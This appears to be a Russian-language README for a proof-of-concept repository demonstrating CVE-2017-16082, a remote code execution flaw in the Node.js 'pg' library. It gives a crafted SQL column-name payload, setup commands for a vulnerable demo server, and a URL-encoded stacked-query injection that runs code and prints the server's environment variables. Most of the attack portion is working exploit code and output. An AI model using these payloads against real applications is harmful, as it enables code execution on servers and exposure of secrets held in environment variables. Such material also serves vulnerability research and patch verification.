nulldreams/cve-2017-16082NodeJS + Postgres (Удаленное выполнение кода) 🛰
Уязвимые версии pg содержат удалённую уязвимость выполнения кода, которая возникает, когда удалённая база данных или запрос указывает специально созданное имя столбца.
Существуют два конкретных сценария, в которых приложение, скорее всего, будет уязвимо:
const { Client } = require('pg')
const client = new Client()
client.connect()
const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`
client.query(sql, (err, res) => {
client.end()
})
git clone https://github.com/nulldreams/CVE-2017-16082.git
cd CVE-2017-16082
npm i && node server.js
Отправьте запрос на localhost:5000/api/v1/users?id=1
Результат
[
{
"id": 1,
"username": "wubba",
"password": "123",
"createdAt": "2018-11-27T09:19:54.000Z",
"updatedAt": "2018-11-27T09:19:54.000Z"
}
]
Теперь отправьте запрос с payload вида 1;SELECT 1 AS "\']=0;console.log(process.env)//" и закодируйте его с помощью url encoder
Финальный URL: localhost:5000/api/v1/users?id=1%3BSELECT%201%20AS%20%22%5C%27%5D%3D0%3Bconsole.log(process.env)%2F%2F%22
[
{
"id": 1,
"username": "wubba",
"password": "123",
"createdAt": "2018-11-27T09:19:54.000Z",
"updatedAt": "2018-11-27T09:19:54.000Z"
},
{
"\\": 0
}
]
Проверьте терминал сервера.